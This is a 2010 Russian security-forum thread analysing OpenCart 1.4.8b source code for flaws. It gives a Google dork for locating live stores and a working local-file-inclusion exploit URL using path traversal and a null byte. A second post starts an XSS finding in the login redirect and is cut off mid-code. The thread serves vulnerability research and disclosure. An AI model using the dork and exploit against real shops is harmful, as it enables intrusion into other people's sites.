HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 04.07.2010, 18:28
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

Версия:

OpenCart 1.4.8b RUS 0.1

Магазин: оф. сайт http://myopencart.ru/

В файле в корне config.php интересны константы:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]/*...*/[/COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DB_DRIVER'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'mysql'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DB_HOSTNAME'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'localhost'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DB_USERNAME'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'root'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DB_PASSWORD'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DB_DATABASE'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'opencart'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DB_PREFIX'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'oc_'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]/*...*/[/COLOR][/COLOR
Мб пригодитцо(читалка, блинд посимволу и т.д)

После установки двига если install не удалена, то нет никаких варнингов, а тока упоминаетцо при установке что надо удалить.

Некоторая логика(в файле system/startup.php):

Слешы удаляютцо (когда магические включены) с массивов $_GET, $_POST, $_COOKIE.

Также переменные уничтожаютцо когда rg в on с массивов которые выше зазначены + $_SESSION, $_SERVER, $_FILES .

$_SERVER['REQUEST_URI'] присваиваетцо строка с параметрами если установлена query_string.

подключения с \engine(абстрактные и финальные класы!) и \library(аналогично!)

Объект в этих подключаемых файлах не создаютцо.

Интересный файл request.php:

в конструкторе класа request массивы переприсваиваютцо, а именно: $_GET,$_POST,$_COOKIE,$_FILES, $_SERVER и присваиваютцо определенным свойствам класа.

Ключи и значения преобразовываютцо функцией htmlspecialchars в режиме ENT_COMPAT с 8-битным Unicode, совместимым с ASCII. .

А как известно одинарная кавычка остаетцо бес изменений в ENT_COMPAT, тоесть возвожны уязвимости.

Смотримс далее:

в index.php остальные файлы с \library покдключаютцо (класы), объекты еще не создаютцо.

далее в index.php создаютцо обьекты...

Дорк:

intext:"Работает на: OpenCart"

Такс, хватит воды!

LFI (ось win)
system/library/request.php

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]final class[/COLOR][COLOR="#0000BB"]Request[/COLOR][COLOR="#007700"]{

public[/COLOR][COLOR="#0000BB"]$get[/COLOR][COLOR="#007700"]= array();

public[/COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"]= array();

public[/COLOR][COLOR="#0000BB"]$cookie[/COLOR][COLOR="#007700"]= array();

public[/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]= array();

public[/COLOR][COLOR="#0000BB"]$server[/COLOR][COLOR="#007700"]= array();



public function
[/COLOR][COLOR="#0000BB"]__construct[/COLOR][COLOR="#007700"]() {

[/
COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"]);



[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]cookie[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]files[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]server[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"];

}



public function
[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]) {

if ([/COLOR][COLOR="#0000BB"]is_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"])) {

foreach ([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]) {

unset([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]]);



[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"])] =[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]);

}

} else {

[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]htmlspecialchars[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]ENT_COMPAT[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'UTF-8'[/COLOR][COLOR="#007700"]);

}

return[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"];

}

}

[/
COLOR][/COLOR
index.php

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]/*...*/

// Front Controller

[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Front[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$registry[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]// Maintenance Mode

[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addPreAction[/COLOR][COLOR="#007700"](new[/COLOR][COLOR="#0000BB"]Action[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'common/maintenance/check'[/COLOR][COLOR="#007700"]));

[/
COLOR][COLOR="#FF8000"]// SEO URL's

[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addPreAction[/COLOR][COLOR="#007700"](new[/COLOR][COLOR="#0000BB"]Action[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'common/seo_url'[/COLOR][COLOR="#007700"]))

[/
COLOR][COLOR="#FF8000"]// Router

[/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'route'[/COLOR][COLOR="#007700"]])) {

[/
COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Action[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'route'[/COLOR][COLOR="#007700"]]);

}
else {

[/
COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Action[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'common/home'[/COLOR][COLOR="#007700"]);

}

[/
COLOR][COLOR="#FF8000"]// Dispatch

[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]dispatch[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"], new[/COLOR][COLOR="#0000BB"]Action[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'error/not_found'[/COLOR][COLOR="#007700"]));

[/
COLOR][COLOR="#FF8000"]// Output

[/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]output[/COLOR][COLOR="#007700"]();

[/
COLOR][/COLOR
system/engine/action.php

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]/*...*/

[/COLOR][COLOR="#007700"]public function[/COLOR][COLOR="#0000BB"]__construct[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$route[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$args[/COLOR][COLOR="#007700"]= array()) {

[/
COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];



[/COLOR][COLOR="#0000BB"]$parts[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'../'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$route[/COLOR][COLOR="#007700"]));



foreach
([/COLOR][COLOR="#0000BB"]$parts[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$part[/COLOR][COLOR="#007700"]) {

[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$part[/COLOR][COLOR="#007700"];



if
([/COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]DIR_APPLICATION[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'controller/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"])) {

[/
COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"];



[/COLOR][COLOR="#0000BB"]array_shift[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$parts[/COLOR][COLOR="#007700"]);



continue
;

}



if
([/COLOR][COLOR="#0000BB"]is_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]DIR_APPLICATION[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'controller/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'../'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]'.php'[/COLOR][COLOR="#007700"])) {

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]DIR_APPLICATION[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'controller/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'../'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]'.php'[/COLOR][COLOR="#007700"];



[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]class[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'Controller'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]preg_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/[^a-zA-Z0-9]/'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]array_shift[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$parts[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]/*...*/[/COLOR][/COLOR
system/engine/front.php

/

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]*...*/

public function[/COLOR][COLOR="#0000BB"]dispatch[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$error[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$error[/COLOR][COLOR="#007700"];



foreach
([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]pre_action[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$pre_action[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]execute[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pre_action[/COLOR][COLOR="#007700"]);



if
([/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"];



break
;

}

}



while
([/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]execute[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]);

}

}



private function
[/COLOR][COLOR="#0000BB"]execute[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getFile[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]$class[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getClass[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]$method[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getMethod[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]$args[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getArgs[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

if ([/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"])) {

require_once([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]$class[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]registry[/COLOR][COLOR="#007700"]);



if
([/COLOR][COLOR="#0000BB"]is_callable[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$method[/COLOR][COLOR="#007700"]))) {

[/
COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]call_user_func_array[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$method[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]$args[/COLOR][COLOR="#007700"]);

} else {

[/
COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"];



[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

}

} else {

[/
COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"];



[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

}



return
[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"];

}

}[/
COLOR][/COLOR
Мы находимсо в catalog\controller, а "постфикс" надо отбрасывать.

Exploit:

http://localhost/opencart_1.4.8b_rus_0.1/?route=..\..\.htaccess.txt%00

Нулл-байт сработал у мну при mg=on => 1 условие: ОС Win.
 
Ответить с цитированием

  #2  
Старый 05.07.2010, 03:11
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

pXSS в аторизации (часть представления!).

класс Сontroller в system/engine/controller.php


PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]/*...*/

[/COLOR][COLOR="#007700"]protected function[/COLOR][COLOR="#0000BB"]redirect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Location: '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]));

exit();

}

[/
COLOR][COLOR="#FF8000"]/*...*/[/COLOR][/COLOR
controller/account/login.php

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]class[/COLOR][COLOR="#0000BB"]ControllerAccountLogin[/COLOR][COLOR="#007700"]extends[/COLOR][COLOR="#0000BB"]Controller[/COLOR][COLOR="#007700"]{

private[/COLOR][COLOR="#0000BB"]$error[/COLOR][COLOR="#007700"]= array();

public function[/COLOR][COLOR="#0000BB"]index[/COLOR][COLOR="#007700"]() {

if ([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]customer[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]isLogged[/COLOR][COLOR="#007700"]()) {

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]redirect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]HTTPS_SERVER[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'index.php?route=account/account'[/COLOR][COLOR="#007700"]);

}

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]language[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]load[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'account/login'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]title[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]language[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'heading_title'[/COLOR][COLOR="#007700"]);

if (([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]server[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'REQUEST_METHOD'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'POST'[/COLOR][COLOR="#007700"])) {

if (isset([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'account'[/COLOR][COLOR="#007700"]])) {

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]session[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'account'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'account'[/COLOR][COLOR="#007700"]];

if ([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'account'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'register'[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]redirect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]HTTPS_SERVER[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'index.php?route=account/create'[/COLOR][COLOR="#007700"]);

}

if ([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'account'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'guest'[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]redirect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]HTTPS_SERVER[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'index.php?route=checkout/guest_step_1'[/COLOR][COLOR="#007700"]);

}

}

if (isset([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'email'[/COLOR][COLOR="#007700"]]) && isset([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]]) &&[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]validate[/COLOR][COLOR="#007700"]()) {

unset([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]session[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'guest'[/COLOR][COLOR="#007700"]]);

if (isset([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'redirect'[/COLOR][COLOR="#007700"]])) {

[/
